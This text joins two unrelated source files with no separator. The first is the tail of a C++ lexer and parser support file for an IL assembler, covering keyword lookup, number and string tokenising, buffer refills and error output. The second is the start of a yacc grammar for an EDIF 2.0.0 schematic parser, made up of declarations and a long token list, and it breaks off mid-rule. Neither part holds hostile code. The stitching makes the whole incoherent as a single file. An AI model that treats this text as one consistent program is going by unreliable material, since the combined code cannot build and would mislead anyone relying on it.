*/ static int __cdecl keywordCmp(const void *op1, const void *op2) { return strcmp(((Keywords*) op1)->name, ((Keywords*) op2)->name); } /********************************************************************************/ /* looks up the keyword 'name' of length 'nameLen' (name does not need to be null terminated) Returns 0 on failure */ static int findKeyword(const char* name, size_t nameLen, Instr** value) { Keywords* low = keywords; Keywords* high = &keywords[sizeof(keywords) / sizeof(Keywords)]; _ASSERTE (high > low); // Table is non-empty for(;;) { Keywords* mid = &low[(high - low) / 2]; // compare the strings int cmp = strncmp(name, mid->name, nameLen); if (cmp == 0 && nameLen < strlen(mid->name)) --cmp; if (cmp == 0) { //printf("Token '%s' = %d opcode = %d\n", mid->name, mid->token, mid->tokenVal); if (mid->tokenVal != NO_VALUE) { if(*value = new Instr) { (*value)->opcode = mid->tokenVal; (*value)->linenum = (bExternSource ? nExtLine : parser->curLine); (*value)->column = (bExternSource ? nExtCol : 1); } } else *value = NULL; return(mid->token); } if (mid == low) return(0); if (cmp > 0) low = mid; else high = mid; } } /********************************************************************************/ /* convert str to a uint64 */ static unsigned __int64 str2uint64(const char* str, const char** endStr, unsigned radix) { static unsigned digits[256]; static initialize=TRUE; unsigned __int64 ret = 0; unsigned digit; _ASSERTE(radix <= 36); if(initialize) { int i; memset(digits,255,sizeof(digits)); for(i='0'; i <= '9'; i++) digits[i] = i - '0'; for(i='A'; i <= 'Z'; i++) digits[i] = i + 10 - 'A'; for(i='a'; i <= 'z'; i++) digits[i] = i + 10 - 'a'; initialize = FALSE; } for(;;str++) { digit = digits[*str]; if (digit >= radix) { *endStr = str; return(ret); } ret = ret * radix + digit; } } /********************************************************************************/ /* fetch the next token, and return it Also set the yylval.union if the lexical token also has a value */ #define IsValidStartingSymbol(x) (isalpha((x)&0xFF)||((x)=='#')||((x)=='_')||((x)=='@')||((x)=='$')) #define IsValidContinuingSymbol(x) (isalnum((x)&0xFF)||((x)=='_')||((x)=='@')||((x)=='$')||((x)=='?')) char* nextchar(char* pos) { return (g_uCodePage == CP_ACP) ? (char *)_mbsinc((const unsigned char *)pos) : ++pos; } int yylex() { char* curPos = parser->curPos; // Skip any leading whitespace and comments const unsigned eolComment = 1; const unsigned multiComment = 2; unsigned state = 0; for(;;) { // skip whitespace and comments if (curPos >= parser->limit) { curPos = parser->fillBuff(curPos); if(strlen(curPos) < (unsigned)(parser->endPos - curPos)) { yyerror("Not a text file"); return 0; } } switch(*curPos) { case 0: if (state & multiComment) return (BAD_COMMENT_); return 0; // EOF case '\n': state &= ~eolComment; parser->curLine++; PASM->m_ulCurLine = (bExternSource ? nExtLine : parser->curLine); PASM->m_ulCurColumn = (bExternSource ? nExtCol : 1); break; case '\r': case ' ' : case '\t': case '\f': break; case '*' : if(state == 0) goto PAST_WHITESPACE; if(state & multiComment) { if (curPos[1] == '/') { curPos++; state &= ~multiComment; } } break; case '/' : if(state == 0) { if (curPos[1] == '/') state |= eolComment; else if (curPos[1] == '*') { curPos++; state |= multiComment; } else goto PAST_WHITESPACE; } break; default: if (state == 0) goto PAST_WHITESPACE; } //curPos++; curPos = nextchar(curPos); } PAST_WHITESPACE: char* curTok = curPos; parser->curTok = curPos; parser->curPos = curPos; int tok = ERROR_; yylval.string = 0; if(bParsingByteArray) // only hexadecimals w/o 0x, ')' and white space allowed! { int i,s=0; char ch; for(i=0; i<2; i++, curPos++) { ch = *curPos; if(('0' <= ch)&&(ch <= '9')) s = s*16+(ch - '0'); else if(('A' <= ch)&&(ch <= 'F')) s = s*16+(ch - 'A' + 10); else if(('a' <= ch)&&(ch <= 'f')) s = s*16+(ch - 'a' + 10); else break; // don't increase curPos! } if(i) { tok = HEXBYTE; yylval.int32 = s; } else { if(ch == ')') { bParsingByteArray = FALSE; goto Just_A_Character; } } parser->curPos = curPos; return(tok); } if(*curPos == '?') // '?' may be part of an identifier, if it's not followed by punctuation { if(IsValidContinuingSymbol(*(curPos+1))) goto Its_An_Id; goto Just_A_Character; } if (IsValidStartingSymbol(*curPos)) { // is it an ID Its_An_Id: size_t offsetDot = (size_t)-1; // first appearance of '.' size_t offsetDotDigit = (size_t)-1; // first appearance of '.<digit>' (not DOTTEDNAME!) do { if (curPos >= parser->limit) { size_t offsetInStr = curPos - curTok; curTok = parser->fillBuff(curTok); curPos = curTok + offsetInStr; } //curPos++; curPos = nextchar(curPos); if (*curPos == '.') { if (offsetDot == (size_t)-1) offsetDot = curPos - curTok; curPos++; if((offsetDotDigit==(size_t)-1)&&(*curPos >= '0')&&(*curPos <= '9')) offsetDotDigit = curPos - curTok - 1; } } while(IsValidContinuingSymbol(*curPos)); size_t tokLen = curPos - curTok; // check to see if it is a keyword int token = findKeyword(curTok, tokLen, &yylval.instr); if (token != 0) { //printf("yylex: TOK = %d, curPos=0x%8.8X\n",token,curPos); parser->curPos = curPos; parser->curTok = curTok; return(token); } if(*curTok == '#') { parser->curPos = curPos; parser->curTok = curTok; return(ERROR_); } // Not a keyword, normal identifiers don't have '.' in them if (offsetDot < (size_t)-1) { if(offsetDotDigit < (size_t)-1) { curPos = curTok+offsetDotDigit; tokLen = offsetDotDigit; } while((*(curPos-1)=='.')&&(tokLen)) { curPos--; tokLen--; } } if(yylval.string = new char[tokLen+1]) { memcpy(yylval.string, curTok, tokLen); yylval.string[tokLen] = 0; tok = (offsetDot == 0xFFFFFFFF)? ID : DOTTEDNAME; //printf("yylex: ID = '%s', curPos=0x%8.8X\n",yylval.string,curPos); } else return BAD_LITERAL_; } else if (isdigit((*curPos)&0xFF) || (*curPos == '.' && isdigit(curPos[1]&0xFF)) || (*curPos == '-' && isdigit(curPos[1]&0xFF))) { // Refill buffer, we may be close to the end, and the number may be only partially inside if(parser->endPos - curPos < AsmParse::IN_OVERLAP) { curTok = parser->fillBuff(curPos); curPos = curTok; } const char* begNum = curPos; unsigned radix = 10; bool neg = (*curPos == '-'); // always make it unsigned if (neg) curPos++; if (curPos[0] == '0' && curPos[1] != '.') { curPos++; radix = 8; if (*curPos == 'x' || *curPos == 'X') { curPos++; radix = 16; } } begNum = curPos; { unsigned __int64 i64 = str2uint64(begNum, const_cast<const char**>(&curPos), radix); yylval.int64 = new __int64(i64); tok = INT64; if (neg) *yylval.int64 = -*yylval.int64; } if (radix == 10 && ((*curPos == '.' && curPos[1] != '.') || *curPos == 'E' || *curPos == 'e')) { yylval.float64 = new double(strtod(begNum, &curPos)); if (neg) *yylval.float64 = -*yylval.float64; tok = FLOAT64; } } else { // punctuation if (*curPos == '"' || *curPos == '\'') { //char quote = *curPos++; char quote = *curPos; curPos = nextchar(curPos); char* fromPtr = curPos; char* prevPos; bool escape = false; BinStr* pBuf = new BinStr(); for(;;) { // Find matching quote if (curPos >= parser->limit) { curTok = parser->fillBuff(curPos); curPos = curTok; } if (*curPos == 0) { parser->curPos = curPos; delete pBuf; return(BAD_LITERAL_); } if (*curPos == '\r') curPos++; //for end-of-line \r\n if (*curPos == '\n') { parser->curLine++; PASM->m_ulCurLine = (bExternSource ? nExtLine : parser->curLine); PASM->m_ulCurColumn = (bExternSource ? nExtCol : 1); if (!escape) { parser->curPos = curPos; delete pBuf; return(BAD_LITERAL_); } } if ((*curPos == quote) && (!escape)) break; escape =(!escape) && (*curPos == '\\'); //pBuf->appendInt8(*curPos++); prevPos = curPos; curPos = nextchar(curPos); while(prevPos < curPos) pBuf->appendInt8(*prevPos++); } //curPos++; // skip closing quote curPos = nextchar(curPos); // translate escaped characters unsigned tokLen = pBuf->length(); char* toPtr = new char[tokLen+1]; if(toPtr==NULL) return BAD_LITERAL_; yylval.string = toPtr; fromPtr = (char *)(pBuf->ptr()); char* endPtr = fromPtr+tokLen; while(fromPtr < endPtr) { if (*fromPtr == '\\') { fromPtr++; switch(*fromPtr) { case 't': *toPtr++ = '\t'; break; case 'n': *toPtr++ = '\n'; break; case 'b': *toPtr++ = '\b'; break; case 'f': *toPtr++ = '\f'; break; case 'v': *toPtr++ = '\v'; break; case '?': *toPtr++ = '\?'; break; case 'r': *toPtr++ = '\r'; break; case 'a': *toPtr++ = '\a'; break; case '\n': do fromPtr++; while(isspace(*fromPtr)); --fromPtr; // undo the increment below break; case '0': case '1': case '2': case '3': if (isdigit(fromPtr[1]&0xFF) && isdigit(fromPtr[2]&0xFF)) { *toPtr++ = ((fromPtr[0] - '0') * 8 + (fromPtr[1] - '0')) * 8 + (fromPtr[2] - '0'); fromPtr+= 2; } else if(*fromPtr == '0') *toPtr++ = 0; break; default: *toPtr++ = *fromPtr; } fromPtr++; } else // *toPtr++ = *fromPtr++; { char* tmpPtr = fromPtr; fromPtr = nextchar(fromPtr); while(tmpPtr < fromPtr) *toPtr++ = *tmpPtr++; } } //end while(fromPtr < endPtr) *toPtr = 0; // terminate string if(quote == '"') { BinStr* pBS = new BinStr(); unsigned size = (unsigned)(toPtr - yylval.string); memcpy(pBS->getBuff(size),yylval.string,size); delete yylval.string; yylval.binstr = pBS; tok = QSTRING; } else tok = SQSTRING; delete pBuf; } // end if (*curPos == '"' || *curPos == '\'') else if (strncmp(curPos, "::", 2) == 0) { curPos += 2; tok = DCOLON; } else if (strncmp(curPos, "...", 3) == 0) { curPos += 3; tok = ELIPSES; } else if(*curPos == '.') { do { curPos++; if (curPos >= parser->limit) { size_t offsetInStr = curPos - curTok; curTok = parser->fillBuff(curTok); curPos = curTok + offsetInStr; } } while(isalnum(*curPos) || *curPos == '_' || *curPos == '$'|| *curPos == '@'|| *curPos == '?'); size_t tokLen = curPos - curTok; // check to see if it is a keyword int token = findKeyword(curTok, tokLen, &yylval.instr); if(token) { //printf("yylex: TOK = %d, curPos=0x%8.8X\n",token,curPos); parser->curPos = curPos; parser->curTok = curTok; return(token); } tok = '.'; curPos = curTok + 1; } else { Just_A_Character: tok = *curPos++; } //printf("yylex: PUNCT curPos=0x%8.8X\n",curPos); } dbprintf((" Line %d token %d (%c) val = %s\n", parser->curLine, tok, (tok < 128 && isprint(tok)) ? tok : ' ', (tok > 255 && tok != INT32 && tok != INT64 && tok!= FLOAT64) ? yylval.string : "")); parser->curPos = curPos; parser->curTok = curTok; return(tok); } /**************************************************************************/ static char* newString(char* str1) { char* ret = new char[strlen(str1)+1]; if(ret) strcpy(ret, str1); return(ret); } /**************************************************************************/ /* concatinate strings and release them */ static char* newStringWDel(char* str1, char* str2, char* str3) { size_t len = strlen(str1) + strlen(str2)+1; if (str3) len += strlen(str3); char* ret = new char[len]; if(ret) { strcpy(ret, str1); delete [] str1; strcat(ret, str2); delete [] str2; if (str3) { strcat(ret, str3); delete [] str3; } } return(ret); } /**************************************************************************/ static void corEmitInt(BinStr* buff, unsigned data) { unsigned cnt = CorSigCompressData(data, buff->getBuff(5)); buff->remove(5 - cnt); } /**************************************************************************/ /* move 'ptr past the exactly one type description */ static unsigned __int8* skipType(unsigned __int8* ptr) { mdToken tk; AGAIN: switch(*ptr++) { case ELEMENT_TYPE_VOID : case ELEMENT_TYPE_BOOLEAN : case ELEMENT_TYPE_CHAR : case ELEMENT_TYPE_I1 : case ELEMENT_TYPE_U1 : case ELEMENT_TYPE_I2 : case ELEMENT_TYPE_U2 : case ELEMENT_TYPE_I4 : case ELEMENT_TYPE_U4 : case ELEMENT_TYPE_I8 : case ELEMENT_TYPE_U8 : case ELEMENT_TYPE_R4 : case ELEMENT_TYPE_R8 : case ELEMENT_TYPE_U : case ELEMENT_TYPE_I : case ELEMENT_TYPE_R : case ELEMENT_TYPE_STRING : case ELEMENT_TYPE_OBJECT : case ELEMENT_TYPE_TYPEDBYREF : /* do nothing */ break; case ELEMENT_TYPE_VALUETYPE : case ELEMENT_TYPE_CLASS : ptr += CorSigUncompressToken(ptr, &tk); break; case ELEMENT_TYPE_CMOD_REQD : case ELEMENT_TYPE_CMOD_OPT : ptr += CorSigUncompressToken(ptr, &tk); goto AGAIN; /* uncomment when and if this type is supported by the Runtime case ELEMENT_TYPE_VALUEARRAY : ptr = skipType(ptr); // element Type CorSigUncompressData(ptr); // bound break; */ case ELEMENT_TYPE_ARRAY : { ptr = skipType(ptr); // element Type unsigned rank = CorSigUncompressData(ptr); if (rank != 0) { unsigned numSizes = CorSigUncompressData(ptr); while(numSizes > 0) { CorSigUncompressData(ptr); --numSizes; } unsigned numLowBounds = CorSigUncompressData(ptr); while(numLowBounds > 0) { CorSigUncompressData(ptr); --numLowBounds; } } } break; // Modifiers or depedant types case ELEMENT_TYPE_PINNED : case ELEMENT_TYPE_PTR : case ELEMENT_TYPE_BYREF : case ELEMENT_TYPE_SZARRAY : // tail recursion optimization // ptr = skipType(ptr); // break goto AGAIN; case ELEMENT_TYPE_VAR: CorSigUncompressData(ptr); // bound break; case ELEMENT_TYPE_FNPTR: { CorSigUncompressData(ptr); // calling convention unsigned argCnt = CorSigUncompressData(ptr); // arg count ptr = skipType(ptr); // return type while(argCnt > 0) { ptr = skipType(ptr); --argCnt; } } break; default: case ELEMENT_TYPE_SENTINEL : case ELEMENT_TYPE_END : _ASSERTE(!"Unknown Type"); break; } return(ptr); } /**************************************************************************/ static unsigned corCountArgs(BinStr* args) { unsigned __int8* ptr = args->ptr(); unsigned __int8* end = &args->ptr()[args->length()]; unsigned ret = 0; while(ptr < end) { if (*ptr != ELEMENT_TYPE_SENTINEL) { ptr = skipType(ptr); ret++; } else ptr++; } return(ret); } /********************************************************************************/ AsmParse::AsmParse(ReadStream* aIn, Assembler *aAssem) { #ifdef DEBUG_PARSING extern int yydebug; yydebug = 1; #endif in = aIn; assem = aAssem; assem->SetErrorReporter((ErrorReporter *)this); char* buffBase = new char[IN_READ_SIZE+IN_OVERLAP+1]; // +1 for null termination _ASSERTE(buffBase); if(buffBase) { curTok = curPos = endPos = limit = buff = &buffBase[IN_OVERLAP]; // Offset it curLine = 1; assem->m_ulCurLine = curLine; assem->m_ulCurColumn = 1; hstdout = GetStdHandle(STD_OUTPUT_HANDLE); hstderr = GetStdHandle(STD_ERROR_HANDLE); success = true; _ASSERTE(parser == 0); // Should only be one parser instance at a time // Sort the keywords for fast lookup qsort(keywords, sizeof(keywords) / sizeof(Keywords), sizeof(Keywords), keywordCmp); parser = this; //yyparse(); } else { assem->report->error("Failed to allocate parsing buffer\n"); delete this; } } /********************************************************************************/ AsmParse::~AsmParse() { parser = 0; delete [] &buff[-IN_OVERLAP]; } /**************************************************************************/ DWORD IsItUnicode(CONST LPVOID pBuff, int cb, LPINT lpi) { if(g_bOnUnicode) return IsTextUnicode(pBuff,cb,lpi); if(*((WORD*)pBuff) == 0xFEFF) { if(lpi) *lpi = IS_TEXT_UNICODE_SIGNATURE; return 1; } return 0; } /**************************************************************************/ char* AsmParse::fillBuff(char* pos) { static bool bUnicode = false; int iRead,iPutToBuffer,iOrdered; static char* readbuff = buff; _ASSERTE((buff-IN_OVERLAP) <= pos && pos <= &buff[IN_READ_SIZE]); curPos = pos; size_t tail = endPos - curPos; // endPos points just past the end of valid data in the buffer _ASSERTE(tail <= IN_OVERLAP); if(tail) memcpy(buff-tail, curPos, tail); // Copy any stuff to the begining curPos = buff-tail; iOrdered = m_iReadSize; if(m_bFirstRead) { int iOptions = IS_TEXT_UNICODE_UNICODE_MASK; m_bFirstRead = false; g_uCodePage = CP_ACP; if(bUnicode) // leftover fron previous source file { delete [] readbuff; readbuff = buff; } bUnicode = false; memset(readbuff,0,iOrdered); iRead = in->read(readbuff, iOrdered); if(IsItUnicode(buff,iRead,&iOptions)) { bUnicode = true; g_uCodePage = CP_UTF8; if(readbuff = new char[iOrdered+2]) // buffer for reading Unicode chars { if(iOptions & IS_TEXT_UNICODE_SIGNATURE) memcpy(readbuff,buff+2,iRead-2); // only first time, next time it will be read into new buffer else memcpy(readbuff,buff,iRead); // only first time, next time it will be read into new buffer printf("Source file is UNICODE\n\n"); } else assem->report->error("Failed to allocate read buffer\n"); } else { m_iReadSize = IN_READ_SIZE; if(((buff[0]&0xFF)==0xEF)&&((buff[1]&0xFF)==0xBB)&&((buff[2]&0xFF)==0xBF)) { g_uCodePage = CP_UTF8; curPos += 3; printf("Source file is UTF-8\n\n"); } else printf("Source file is ANSI\n\n"); } } else { memset(readbuff,0,iOrdered); iRead = in->read(readbuff, iOrdered); } if(bUnicode) { WCHAR* pwc = (WCHAR*)readbuff; pwc[iRead/2] = 0; memset(buff,0,IN_READ_SIZE); WszWideCharToMultiByte(CP_UTF8,0,pwc,-1,(LPSTR)buff,IN_READ_SIZE,NULL,NULL); iPutToBuffer = (int)strlen(buff); } else iPutToBuffer = iRead; endPos = buff + iPutToBuffer; *endPos = 0; // null Terminate the buffer limit = endPos; // endPos points just past the end of valid data in the buffer if (iRead == iOrdered) { limit-=4; // max look-ahead without reloading - 3 (checking for "...") } return(curPos); } /********************************************************************************/ BinStr* AsmParse::MakeSig(unsigned callConv, BinStr* retType, BinStr* args) { BinStr* ret = new BinStr(); if(ret) { //if (retType != 0) ret->insertInt8(callConv); corEmitInt(ret, corCountArgs(args)); if (retType != 0) { ret->append(retType); delete retType; } ret->append(args); } else assem->report->error("\nOut of memory!\n"); delete args; return(ret); } /********************************************************************************/ BinStr* AsmParse::MakeTypeArray(BinStr* elemType, BinStr* bounds) { // 'bounds' is a binary buffer, that contains an array of 'struct Bounds' struct Bounds { int lowerBound; unsigned numElements; }; _ASSERTE(bounds->length() % sizeof(Bounds) == 0); unsigned boundsLen = bounds->length() / sizeof(Bounds); _ASSERTE(boundsLen > 0); Bounds* boundsArr = (Bounds*) bounds->ptr(); BinStr* ret = new BinStr(); ret->appendInt8(ELEMENT_TYPE_ARRAY); ret->append(elemType); corEmitInt(ret, boundsLen); // emit the rank unsigned lowerBoundsDefined = 0; unsigned numElementsDefined = 0; unsigned i; for(i=0; i < boundsLen; i++) { if(boundsArr[i].lowerBound < 0x7FFFFFFF) lowerBoundsDefined = i+1; else boundsArr[i].lowerBound = 0; if(boundsArr[i].numElements < 0x7FFFFFFF) numElementsDefined = i+1; else boundsArr[i].numElements = 0; } corEmitInt(ret, numElementsDefined); // emit number of bounds for(i=0; i < numElementsDefined; i++) { _ASSERTE (boundsArr[i].numElements >= 0); // enforced at rule time corEmitInt(ret, boundsArr[i].numElements); } corEmitInt(ret, lowerBoundsDefined); // emit number of lower bounds for(i=0; i < lowerBoundsDefined; i++) { unsigned cnt = CorSigCompressSignedInt(boundsArr[i].lowerBound, ret->getBuff(5)); ret->remove(5 - cnt); } delete elemType; delete bounds; return(ret); } /********************************************************************************/ BinStr* AsmParse::MakeTypeClass(CorElementType kind, char* name) { BinStr* ret = new BinStr(); _ASSERTE(kind == ELEMENT_TYPE_CLASS || kind == ELEMENT_TYPE_VALUETYPE || kind == ELEMENT_TYPE_CMOD_REQD || kind == ELEMENT_TYPE_CMOD_OPT); ret->appendInt8(kind); mdToken tk = PASM->ResolveClassRef(name,NULL); unsigned cnt = CorSigCompressToken(tk, ret->getBuff(5)); ret->remove(5 - cnt); delete [] name; return(ret); } /**************************************************************************/ void PrintANSILine(FILE* pF, char* sz) { WCHAR wz[4096]; if(g_uCodePage != CP_ACP) { memset(wz,0,sizeof(WCHAR)*4096); WszMultiByteToWideChar(g_uCodePage,0,sz,-1,wz,4096); memset(sz,0,4096); WszWideCharToMultiByte(CP_ACP,0,wz,-1,sz,4096,NULL,NULL); } fprintf(pF,"%s",sz); } /**************************************************************************/ void AsmParse::error(char* fmt, ...) { char sz[4096], *psz=&sz[0]; success = false; va_list args; va_start(args, fmt); if(in) psz+=sprintf(psz, "%s(%d) : ", in->name(), curLine); psz+=sprintf(psz, "error -- "); vsprintf(psz, fmt, args); PrintANSILine(stderr,sz); } /**************************************************************************/ void AsmParse::warn(char* fmt, ...) { char sz[4096], *psz=&sz[0]; va_list args; va_start(args, fmt); if(in) psz+=sprintf(psz, "%s(%d) : ", in->name(), curLine); psz+=sprintf(psz, "warning -- "); vsprintf(psz, fmt, args); PrintANSILine(stderr,sz); } /**************************************************************************/ void AsmParse::msg(char* fmt, ...) { char sz[4096]; va_list args; va_start(args, fmt); vsprintf(sz, fmt, args); PrintANSILine(stdout,sz); } /**************************************************************************/ /* #include <stdio.h> int main(int argc, char* argv[]) { printf ("Beginning\n"); if (argc != 2) return -1; FileReadStream in(argv[1]); if (!in) { printf("Could not open %s\n", argv[1]); return(-1); } Assembler assem; AsmParse parser(&in, &assem); printf ("Done\n"); return (0); } */ // TODO remove when we use MS_YACC //#undef __cplusplus
%{ /* * $ID: $ */ /*************************************************************************************************** * * * edif.y * * * * EDIF 2.0.0 parser, Level 0 * * * * You are free to copy, distribute, use it, abuse it, make it * * write bad tracks all over the disk ... or anything else. * * * * Your friendly neighborhood Rogue Monster - <EMAIL> * * * ***************************************************************************************************/ #include <stdio.h> #include <string.h> #include <ctype.h> #include <math.h> #include "ed.h" #include "eelibsl.h" #include "EdifData.hpp" #define SIZE_PIN_TEXT 60 char *InFile = "-"; char FileNameNet[64], FileNameSdtLib[64], FileNameEESchema[64], FileNameKiPro[64]; static FILE *Input = NULL; /* input stream */ static FILE *Error = NULL; /* error stream */ static char* FileEdf = NULL; /* edf file name */ static int LineNumber; /* current input line number */ struct inst *insts, *iptr; struct con *cons, *cptr; int pass2; float scale; char fName[SCH_NAME_LEN]; LibraryStruct *LSptr; LibraryEntryStruct *LEptr; LibraryDrawEntryStruct *LDptr, *New=NULL, *INew; int num, *Poly, TextSize=SIZE_PIN_TEXT, unit=1; char *bad="BBBB", *s, refdesg[30], str[40]; struct plst *pl, zplst = {0,0,NULL}; struct pwr *stp, *pwrSym=NULL; // power syms or page names struct pwr *pptr=NULL, *pgs=NULL; struct st refI, valI; struct st *ref=&refI, *val=&valI, *net; int convert=1; // normal float a,b,c,d,e,f,k,h; int Rot[2][2], x,y, tx, ty, px,py, ox=0, oy=0, stop; int IRot[2][2]; int InInstance=0, SchHead=1, inst_pin_name_vis=1, inst_pin_num_vis=1; int InCell=0, nPages=0, nPwr=0; char *nll=NULL; char Foot[FOOT_NAME_LEN + 1]; char MfgName[MFG_NAME_LEN + 1]; char MfgPart[MFG_PART_LEN + 1]; struct FigGrpStruct *pfg=NULL, *pfgHead=NULL; char cur_fg[20]; char *libRef=NULL, *cellRef=NULL, *cur_pnam, *cur_nname, cur_Orient=PIN_N; %} %union { int n; float f; struct st *st; struct pt *pt; struct plst *pl; } %type <n> Int _Member TextHeight PathWidth Direction _Direction Visible %type <n> Orientation _Orientation _DisplayOrien _TransOrien BooleanValue %type <n> True False %type <f> ScaledInt %type <pl> Rectangle BoundBox PointList _PointList Path _Path Polygon _Polygon %type <pl> Circle PageSize %type <pl> Origin Point _Point PointValue _Rectangle Dot _Dot _DisplayOrg _TransOrg %type <st> StrDisplay _StrDisplay PropDisp _PropDisp KeywordDisp _KeywordDisp %type <st> Designator _Designator Annotate _Annotate %type <st> Display %type <st> _Display %type <st> CommGraph _CommGraph %type <st> PropNameRef %type <st> Str String _String KeywordName %type <st> Ident Name _Name NameDef NameRef EdifFileName ValueNameRef %type <st> NetNameDef Array %type <st> CellNameDef CellNameRef CellRef _CellRef Cell %type <st> Transform %type <st> Rename _Rename __Rename %type <st> FigGrp _FigGrp %type <st> FigGrpNameDef FigGrpOver _FigGrpOver FigGrpNameRef %type <st> View _View Contents _Contents ViewNameDef ViewType Page _Page %type <st> ViewRef _ViewRef ViewNameRef ViewList _ViewList // %type <st> View ValueNameDef %type <st> Instance _Instance InstanceRef _InstanceRef InstNameDef InstNameRef %type <st> LibNameDef LibraryRef LibNameRef %type <st> Port _Port PortNameDef PortNameRef PortRef _PortRef Member %type <st> Design _Design DesignNameDef %type <st> PortImpl _PortImpl ConnectLoc _ConnectLoc PropNameDef %type <st> Interface _Interface %type <st> Boolean _Boolean Integer _Integer MiNoMa _MiNoMa Number _Number %type <st> TypedValue Property _Property Owner %type <st> Symbol _Symbol Figure _Figure Comment %type <st> Justify _Justify _DisplayJust Net _Net Joined _Joined %token <st> IDENT %token <st> INT %token <st> KEYWORD %token <st> STR %token <st> NAME %token ANGLE %token BEHAVIOR %token CALCULATED %token CAPACITANCE %token CENTERCENTER %token CENTERLEFT %token CENTERRIGHT %token CHARGE %token CONDUCTANCE %token CURRENT %token DISTANCE %token DOCUMENT %token ENERGY %token EXTEND %token FLUX %token FREQUENCY %token GENERIC %token GRAPHIC %token INDUCTANCE %token INOUT %token INPUT %token LOGICMODEL %token LOWERCENTER %token LOWERLEFT %token LOWERRIGHT %token MASKLAYOUT %token MASS %token MEASURED %token MX %token MXR90 %token MY %token MY<PASSWORD> %token NETLIST %token OUTPUT %token PCBLAYOUT %token POWER %token R0 %token R<PASSWORD> %token R<PASSWORD> %token R90 %token REQUIRED %token RESISTANCE %token RIPPER %token ROUND %token SCHEMATIC %token STRANGER %token SYMBOLIC %token TEMPERATURE %token TIE %token TIME %token TRUNCATE %token UPPERCENTER %token UPPERLEFT %token UPPERRIGHT %token VOLTAGE %token ACLOAD %token AFTER %token ANNOTATE %token APPLY %token ARC %token ARRAY %token ARRAYMACRO %token ARRAYRELATEDINFO %token ARRAYSITE %token ATLEAST %token ATMOST %token AUTHOR %token BASEARRAY %token BECOMES %token BETWEEN %token BOOLEAN %token BOOLEANDISPLAY %token BOOLEANMAP %token BORDERPATTERN %token BORDERWIDTH %token BOUNDINGBOX %token CELL %token CELLREF %token CELLTYPE %token CHANGE %token CIRCLE %token COLOR %token COMMENT %token COMMENTGRAPHICS %token COMPOUND %token CONNECTLOCATION %token CONTENTS %token CORNERTYPE %token CRITICALITY %token CURRENTMAP %token CURVE %token CYCLE %token DATAORIGIN %token DC<PASSWORD>LOAD %token DCFANOUTLOAD %token DC<PASSWORD> %token DC<PASSWORD>OUT %token DELAY %token DELTA %token DERIVATION %token DESIGN %token DESIGNATOR %token DIFFERENCE %token DIRECTION %token DISPLAY %token DOMINATES %token DOT %token DURATION %token E %token EDIF %token EDIFLEVEL %token EDIFVERSION %token ENCLOSUREDISTANCE %token ENDTYPE %token ENTRY %token EVENT %token EXACTLY %token EXTERNAL %token FABRICATE %token FALSE %token FIGURE %token FIGUREAREA %token FIGUREGROUP %token FIGUREGROUPOBJECT %token FIGUREGROUPOVERRIDE %token FIGUREGROUPREF %token FIGUREPERIMETER %token FIGUREWIDTH %token FILLPATTERN %token FOLLOW %token FORBIDDENEVENT %token GLOBALPORTREF %token GREATERTHAN %token GRIDMAP %token IGNORE %token INCLUDEFIGUREGROUP %token INITIAL %token INSTANCE %token INSTANCEBACKANNOTATE %token INSTANCEGROUP %token INSTANCEMAP %token INSTANCEREF %token INTEGER %token INTEGERDISPLAY %token INTERFACE %token INTERFIGUREGROUPSPACING %token INTERSECTION %token INTRAFIGUREGROUPSPACING %token INVERSE %token ISOLATED %token JOINED %token JUSTIFY %token KEYWORDDISPLAY %token KEYWORDLEVEL %token KEYWORDMAP %token LES<PASSWORD> %token LIBRARY %token LIBRARYREF %token LISTOFNETS %token LISTOFPORTS %token LOADDELAY %token LOGICASSIGN %token LOGICINPUT %token LOGICLIST %token LOGICMAPINPUT %token LOGICMAPOUTPUT %token LOGICONEOF %token LOGICOUTPUT %token LOGICPORT %token LOGICREF %token LOGICVALUE %token LOGICWAVEFORM %token MAINTAIN %token MATCH %token MEMBER %token MINOMAX %token MINOMAXDISPLAY %token MNM %token MULTIPLEVALUESET %token MUSTJOIN %token NET %token NETBACKANNOTATE %token NETBUNDLE %token NETDELAY %token NETGROUP %token NETMAP %token NETREF %token NOCHANGE %token NONPERMUTABLE %token NOTALLOWED %token NOTCHSPACING %token NUMBER %token NUMBERDEFINITION %token NUMBERDISPLAY %token OFFPAGECONNECTOR %token OFFSETEVENT %token OPENSHAPE %token ORIENTATION %token ORIGIN %token OVERHANGDISTANCE %token OVERLAPDISTANCE %token OVERSIZE %token OWNER %token PAGE %token PAGESIZE %token PARAMETER %token PARAMETERASSIGN %token PARAMETERDISPLAY %token PATH %token PATHDELAY %token PATHWIDTH %token PERMUTABLE %token PHYSICALDESIGNRULE %token PLUG %token POINT %token POINTDISPLAY %token POINTLIST %token POLYGON %token PORT %token PORTBACKANNOTATE %token PORTBUNDLE %token PORTDELAY %token PORTGROUP %token PORTIMPLEMENTATION %token PORTINSTANCE %token PORTLIST %token PORTLISTALIAS %token PORTMAP %token PORTREF %token PROGRAM %token PROPERTY %token PROPERTYDISPLAY %token PROTECTIONFRAME %token PT %token RANGEVECTOR %token RECTANGLE %token RECTANGLESIZE %token RENAME %token RESOLVES %token SCALE %token SCALEX %token SCALEY %token SECTION %token SHAPE %token SIMULATE %token SIMULATIONINFO %token SINGLEVALUESET %token SITE %token SOCKET %token SOCKETSET %token STATUS %token STEADY %token STRING %token STRINGDISPLAY %token STRONG %token SYMBOL %token SYMMETRY %token TABLE %token TABLEDEFAULT %token TECHNOLOGY %token TEXTHEIGHT %token TIMEINTERVAL %token TIMESTAMP %token TIMING %token TRANSFORM %token TRANSITION %token TRIGGER %token TRUE %token UNCONSTRAINED %token UNDEFINED %token UNION %token UNIT %token UNUSED %token USERDATA %token VERSION %token VIEW %token VIEWLIST %token VIEWMAP %token VIEWREF %token VIEWTYPE %token VISIBLE %token VOLTAGEMAP %token WAVEVALUE %token WEAK %token WEAKJOINED %token WHEN %token WRITTEN %start Edif %% PopC : ')' { PopC(); } ; EdifFileName : NameDef {if(0)fprintf(Error,"EdifFileName: %s\n", $1->s);} ; Edif : EDIF EdifFileName EdifVersion EdifLevel KeywordMap _Edif PopC ; _Edif : | _Edif Status | _Edif External | _Edif Library | _Edif Design | _Edif Comment | _Edif UserData ; EdifLevel : EDIFLEVEL Int PopC ; EdifVersion : EDIFVERSION Int Int Int PopC {if(0)fprintf(Error,"EdifVersion: %d %d %d\n", $2,$3,$4);} ; AcLoad : ACLOAD _AcLoad PopC ; _AcLoad : MiNoMaValue | MiNoMaDisp ; After : AFTER _After PopC ; _After : MiNoMaValue | _After Follow | _After 